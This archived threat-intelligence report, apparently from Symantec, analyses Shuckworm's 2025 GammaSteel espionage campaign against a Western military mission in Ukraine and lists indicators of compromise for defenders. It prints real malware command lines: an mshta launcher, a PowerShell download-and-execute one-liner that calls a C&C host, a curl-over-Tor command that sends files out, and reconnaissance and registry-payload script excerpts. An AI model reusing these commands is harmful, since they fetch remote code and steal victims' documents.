Shuckworm Targets Foreign Military Mission Based in Ukraine

By About the Author

Archived: 2026-04-05 14:24:28 UTC

Shuckworm's relentless focus on Ukraine has continued into 2025, with the group targeting the military mission of a Western country based in the Eastern European nation.

This first activity in this campaign occurred in February 2025, and it continued into March. The initial infection vector used by the attackers appears to have been an infected removable drive.

In this campaign, the attackers appear to be using an updated version of their GammaSteel tool. GammaSteel is an infostealer that exfiltrates data from victim networks. The attackers are seen using various methods for data exfiltration, including using the *write.as* web service for possible exfiltration. They are also seen using cURL alongside Tor as a backup method of data exfiltration. cURL is an open-source command-line tool that can be used to transfer data to and from a server and is frequently leveraged by malicious actors.

This campaign also seems to demonstrate a move by Shuckworm from using a lot of VBS scripts to using more PowerShell-based tools, particularly later in its attack chain. It is likely leveraging PowerShell for obfuscation and also because it allows it to store scripts in the registry. GammaSteel was deployed following a complex, multi-staged attack chain, with frequent use of obfuscation. The process was most likely designed to minimize the risk of detection.

Shuckworm (aka Gamaredon, Armageddon) is a Russia-linked espionage group that has almost exclusively focused its operations on government, law enforcement, and defense organizations in Ukraine since it first appeared in 2013. It is believed that Shuckworm operates on behalf of the Russian Federal Security Service (FSB).

Activity Timeline

The initial infection in this campaign appeared to occur on February 26 with the creation of a Windows Registry value under the *UserAssist* key that indicates the infection may have started from an external drive and an LNK file named *D:\files.lnk*.

The UserAssist registry key stores the applications, files, links, and other objects accessed by the user through Windows Explorer stored in a ROT13 format.

```
HKU\[REDACTED]\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\Q:\svyrf.yax
```

```
After that event, explorer.exe launched a mshta.exe process executing the following command:
```

```
"C:\Windows\System32\mshta.exe" javascript:eval('w=new%20ActiveXObject("WScript.Shell");w.run("explorer files");w.run("wscript.exe //e:vbScript \~.drv");window.close()')
```

Then, the following commands were executed:

```
"C:\Windows\System32\wscript.exe" //e:vbScript ~.drv
```

```
"C:\Windows\System32\wscript.exe" ""C:\Users\Public\NTUSER.DAT.TMContainer00000000000000000001.regtrans-ms"" //e:vbscript //b /numerousIOC
```

```
"C:\Windows\System32\wscript.exe" ""C:\Users\Public\NTUSER.DAT.TMContainer00000000000000000002.regtrans-ms"" //e:vbscript //b /numerousIOC
```

```
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\[REDACTED]\AppData\Local\Temp\keepoAI.hta"
```

The ~.drv file is highly obfuscated, but it seems to be used to create two files and execute them:

```
C:\Users\Public\NTUSER.DAT.TMContainer00000000000000000001.regtrans-ms
```

```
c:\users\public\ntuser.dat.tmcontainer00000000000000000002.regtrans-ms
```

The first file (NTUSER.DAT.TMContainer00000000000000000001.regtrans-ms) is used to contact the command and control (C&C) server and stay in constant contact with it. First, it searches for a ping record with a WMI query:

```
"Select * From Win32_PingStatus where Address = 'mil.gov.ua'" to the address "mil.gov.ua",
```

If there is no ping record or the ping is not successful, it will finish execution.

It then checks if the C&C server address is stored in the value:

```
HKEY_CURRENT_USER\\Console\\WindowsUpdates
```

If not, it will run different methods to obtain the final C&C server address.

The script leverages different legitimate services to try to resolve the C&C server, including:

- hxxps://teletype[.]in/[Value_read_from_WindowsDetect_key]
- hxxps://telegra[.]ph/Mark-01-20-5
- hxxps://t[.]me/s/futar23
- [2_digit_number]sleep.crudoes[.]ru
- hxxps://check-host[.]net/ip-info?host=[2_digit_number]position.crudoes.ru
- position.crudoes[.]ru

In this instance, the attackers were able to obtain a C&C server address and contact it:

- 107.189.19.218

From hxxps://telegra[.]ph/Mark-01-20-5 we also found the following C&C server:

- hxxps://des-cinema-democrat-san.trycloudflare[.]com/server

The C&C server is similar to others that have been used by Shuckworm in the past, as shown in an investigation by Recorded Future where the group leveraged Cloudflare tunnels for their C&C infrastructure.

From t[.]me/futar123 we also found the C&C 107.189.19[.]137 from recovered text:

- ==107@189@19@137==

The second file mentioned previously (NTUSER.DAT.TMContainer00000000000000000002.regtrans-ms) appears to be designed to modify the following registry keys to not show hidden and system files:

```
HKU\[REDACTED]\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden
```

```
HKU\[REDACTED]\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden
```

```
HKU\[REDACTED]\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt
```

It then starts to infect any removable drives and network drives by creating shortcut files (.lnk) for every folder to execute the first malicious mshta.exe command (*wscript.exe //e:vbScript ~.drv*) and hide the folder.

We found an array of possible file names in Ukrainian, but it is unknown from the script what these files may do.

Original:

("План проведення", "Спецповідомлення", "лист до", "СПЕЦПЕРЕВІРКА", "Рапорт поранення", "відрядження", "БОЙОВЕ РОЗПОРЯДЖЕННЯ ППО", "Рішення командира на оборону", "Зобовязання", "бойовий розрахунок", "Супровід ГУР", "Інформація щодо загиблих", "БМП", "продовження контракту", "Довідка про зустріч з джерелом")

Translated:

("Conduct plan", "Special message", "letter to", "SPECIAL INSPECTION", "Wound report", "deployment", "AIR DEFENSE COMBAT ORDER", "Commander's decision on defense", "Obligation", "Combat calculation", "GUR support", "Information on the dead", "BMP", "contract extension", "Reference about meeting with the source")

On March 1, an array of activity occurred on the targeted network.

On one machine, the malicious VBscript—*C:\Users\Public\NTUSER.DAT.TMContainer00000000000000000002.regtrans-ms*—is executed via WScript.exe. It then reaches out to the following C&C URL:

- hxxp://172.104.187.254/mood/1/3/2025/confer[.]html?=[REMOVED]

The malicious script also exfiltrates some data from the infected machine, such as the username, hostname, and the disk serial number via the User-Agent HTTP request header:

```
IServerXMLHTTPRequest2.setRequestHeader("user-agent", "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36
([USERNAME]::[HOSTNAME]_[DISK_SERIAL_NUMBER]::/.nJudged/.TML,");
```

It then saves the valid C&C server address under the registry value:

```
"HKEY_CURRENT_USER\Console\WindowsUpdates":
```

```
IWshShell3.RegWrite("HKEY_CURRENT_USER\Console\WindowsUpdates",
"http://172.104.187.254/mood/1/3/2025/confer.html?=[REMOVED]", "REG_SZ");
```

The code received from the server is Base64 encoded and obfuscated and it launches the following PowerShell command:

```
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" sleep 15;$url='http://64.23.190.235/getinfo.php';$discord = (New-Object system.Net.WebClient).downloadString($url); $discord | iex
```

The C&C server also downloads an obfuscated new version of the same script but this time with hardcoded C&C addresses:

- hxxps://surfing-programmer-morris-mortality.trycloudflare[.]com
- hxxps://areas-apps-civic-loving.trycloudflare[.]com
- hxxps://nav-ni-furnished-handy.trycloudflare[.]com

This new malicious VBScript file is stored in the following path:

- c:\users\[REDACTED]\ntuser.dat.ini

After a connection to the new C&C server *(hxxps://nav-ni-furnished-handy.trycloudflare[.]com)*, two new PowerShell scripts are received.

The first script appears to be a reconnaissance tool, which is used to create a screenshot of the machine, run a systeminfo command, get the name of the security software running on the machine, get the available space from all disks, get the VolumeSerialNumber, the directory tree of the Desktop folder, a list of files in the Desktop folder, and a list of the running processes. It then sends all the collected information to the C&C server hxxp://64.23.190[.]235/getinfo[.]php.

The following is an excerpt of the PowerShell script:

```
[System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms")

$ScreenBounds = [System.Windows.Forms.SystemInformation]::PrimaryMonitorSize;

$arw = "Wi","dt","h";

$arh = "H","ei","g","ht";

$wi = $arw -join ""

$he = $arh -join "" ;

$w = $ScreenBounds."$wi" + 1 - 1;

$h = $ScreenBounds."$he" + 1 - 1;

$Image = New-Object System.Drawing.Bitmap($w , $h);

$CopyScreen = [System.Drawing.Graphics]::FromImage($Image);

$process = $(ps | foreach-Object{$a = $_.ProcessName; $a+"`n"} );

$Point = New-Object System.Drawing.Point(1, 1);

$ip ="64.23.190.235";

$nk = "com";

$op = "o.p";

$nf = "nf";

$nk = $nk + "putern" + "ame";

$comp = (Get-Item -Path env:\$nk).Value;

$dasda ="Vo"

$dasda = $dasda +"lume"

$dasda =$dasda +"Seria"

$dasda =$dasda +"lNum"

$dasda =$dasda +"ber"

$Path = "$env:appdata\";

$name = $path + "$(get-date -f yyyy.MM.dd_h\h_m\m)"+".jpg";

if(![System.IO.Directory]::Exists($Path)){ New-Item -ItemType Directory $Path }
```

```
$Point = [Drawing.Point]::Empty
```

```
$NameValueCollection = New-Object System.Collections.Specialized.NameValueCollection;
```

```
$httptext ="http://";
```

```
$infotext = "/i"+$nf+ $op;
```

The second PowerShell script received from the C&C server stores the payload obfuscated and split by functions in different values in the registry.

```
Set-ItemProperty -Path 'HKCU:\Software' -Name 'LGJuKKhrjgwffjmc1jzSkzT' -Value
'DQAKACAAIAAgACAAdAByAHkAewB7AA0ACgAgACAAIAAgACAAIAAgACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAVwByAGkAdABlAEEAbABsAFQAZQB4AHQA
```

```
Set-ItemProperty -Path 'HKCU:\Software' -Name 'wOVzQC0zskdwz2xbraoXftD' -Value
'DQAKACAAIAAgACAAdAByAHkAewB7AA0ACgAJAAkAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0A
```

The following is an example of one of the PowerShell functions stored in the registry:

```
   try{
```

```
           $jfecWp1fljll0j004nzEODg = "www.phlovel.ru";
```

```
           $odPSSiffq0huyxichtGXAWo =
[System.Net.Dns]::gethostentry($jfecWp1fljll0j004nzEODg).addresslist[0];
```

```
           $YywyAi53bcklkjtplAEvUrl = $odPSSiffq0huyxichtGXAWo.tostring();
```

```
           return $YywyAi53bcklkjtplAEvUrl;
```

```
     }
```

```
     catch{
```

```
           return "";
```

```
     }
```

This stage appears to be the attackers' final payload—a PowerShell version of Shuckworm's known GammaSteel tool.

This tool enumerates all the files in the following folders:

- Desktop
- Documents
- Downloads

It exfiltrates files that match a hardcoded extension list:

- "*.doc", "*.docx", "*.xls", "*.xlsx", "*.ppt", "*.pptx", "*.vsd", "*.vsdx", "*.rtf", "*.odt", "*.txt", "*.pdf"

It ignores folders that contain the following strings:

- "prog", "windows", "appdata", "local", "roaming", "software", "public", "all users"

It uses certutil.exe to get the MD5 of the exfiltrated file and possibly store it as a file, which is something previous versions of the GammaSteel malware also did.

```
"C:\Windows\system32\certutil.exe" -hashfile "[REDACTED].txt" MD5
```

This version of GammaSteel tries to exfiltrate the files via a PowerShell web request, but if it fails, as a fallback method, it uses cURL with a Tor network proxy to obfuscate the origin IP:

```
"C:\Windows\system32\curl.exe" -x socks5://127.0.0.1:9050 -v -k -F o2PVasTpH2AxGgiYBSjb=[REDACTED] -F
AWpCbqMhrFvHx4QJkAXlj=@[REDACTED].pdf https://85.92.111.12
```

The first post parameter contains some information regarding the machine, like the hostname, the drive serial number, and the path of the exfiltrated file:

```
jhEOKsGyR07pNfM::1000::PAikOnBfhsr::[REDACTED].pdf::Bqf4wlnsrc::22.02.2025
14:18:24::mU0p1uNxlLvd::508383::GHCcfPBq1NwgZ::boML6spmjPF::Ti5vCm4hcu::[REDACTED]**2863E630::S3apqcC4J20QH
```

It also contained some incomplete code that seems to leverage the web service *write.as* to possibly exfiltrate some information from the computer:

```
$REGWeqlhlmtvuskihNeRgib = "https://write.as/api/posts";
```

```
$XUqKFBjm5dwgqh5aljmHuTC = '{{"body": "This is a post.", "title": "My First Post"}}';
```

```
$aFKGHf31o2g4jrm00nkAQdv = @{{"Content-Type" = "application/json"}};
```

```
$KMTPQV1jeau2lslqmzcNPyG = Invoke-WebRequest -Uri $REGWeqlhlmtvuskihNeRgib -Method "POST" -Body $XUqKFBjm5dwgqh5aljmHuTC -Headers $aFKGHf31o2g4jrm00nkAQdv;
```

```
To obtain persistence, the malware registers itself in the Run registry key:
```

```
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\[USERNAME]
```

Conclusion

This attack does mark something of an increase in sophistication for Shuckworm, which appears to be less skilled than other Russian actors, though it compensates for this with its relentless focus on targets in Ukraine. While the group does not appear to have access to the same skill set as some other Russian groups, Shuckworm does now appear to be trying to compensate for this by continually making minor modifications to the code it uses, adding obfuscation, and leveraging legitimate web services, all to try lower the risk of detection.

This campaign also demonstrates that the group remains laser-focused on targeting entities within Ukraine for espionage purposes.

Protection/Mitigation

For the latest protection updates, please visit the Symantec Protection Bulletin.

Indicators of Compromise

If an IOC is malicious and the file is available to us, Symantec Endpoint products will detect and block that file.

714aeb3d778bbd03d0c9eaa827ae8c91199ef07d916405b7f4acd470f9a2a437

90ec1f4dd69c84c3eb0b2cada4a31168de278eff9b21cb20551ec39d5bcb9da2

Lucystew[.]ru

position.crudoes[.]ru

www.phlovel[.]ru

areas-apps-civic-loving.trycloudflare[.]com

des-cinema-democrat-san.trycloudflare[.]com

distributors-marble-saddam-much.trycloudflare[.]com

nav-ni-furnished-handy.trycloudflare[.]com

surfing-programmer-morris-mortality.trycloudflare[.]com

affects-periodic-explorer-broadband.trycloudflare[.]com

abraham-lc-happened-ericsson.trycloudflare[.]com

argentina-references-rapid-selecting.trycloudflare[.]com

beverly-cups-soft-concentrate.trycloudflare[.]com

boxes-harvest-cameroon-uniform.trycloudflare[.]com

cables-tension-bronze-hans.trycloudflare[.]com

convergence-suffering-reel-ingredients.trycloudflare[.]com

detector-excluded-knowledgestorm-two.trycloudflare[.]com

fee-ss-launch-remedies.trycloudflare[.]com

ff-susan-config-mod.trycloudflare[.]com

nail-employed-icon-pre.trycloudflare[.]com

pdt-throwing-pod-places.trycloudflare[.]com

presents-turner-cir-hollow.trycloudflare[.]com

promptly-allows-pendant-close.trycloudflare[.]com

reflection-tomorrow-brook-dakota.trycloudflare[.]com

representatives-liable-sight-tigers.trycloudflare[.]com

sick-netherlands-alumni-electric.trycloudflare[.]com

terry-training-springer-engagement.trycloudflare[.]com

farming-alternatively-velvet-warming.trycloudflare[.]com

pays-habitat-florists-virtually.trycloudflare[.]com

jet-therapy-cape-correctly.trycloudflare[.]com

der-grande-transmitted-benchmark.trycloudflare[.]com

eddie-lewis-exercises-conventions.trycloudflare[.]com

jon-shopzilla-canada-analytical.trycloudflare[.]com

hints-heated-terrain-poem.trycloudflare[.]com

belongs-tells-sum-harvest.trycloudflare[.]com

obj-sudan-quote-aw.trycloudflare[.]com

acquisition-gray-advertisements-trained.trycloudflare[.]com

missouri-itunes-recognize-adds.trycloudflare[.]com

over-function-foo-school.trycloudflare[.]com

criterion-receipt-proceeds-fate.trycloudflare[.]com

phpbb-zealand-hop-magnetic.trycloudflare[.]com

score-adams-coastal-moreover.trycloudflare[.]com

107.189.19[.]137

107.189.19[.]218

165.232.153[.]27

172.104.187[.]254

64.23.190[.]235

85.92.111[.]12

45.61.166[.]43

159.223.50[.]199

139.59.136[.]192

104.16.230[.]132

104.16.231[.]132

ntuser.dat.tmcontainer00000000000000000001.regtrans-ms

ntuser.dat.tmcontainer00000000000000000002.regtrans-ms

~.drv

ntuser.dat.ini

desperately.tmp
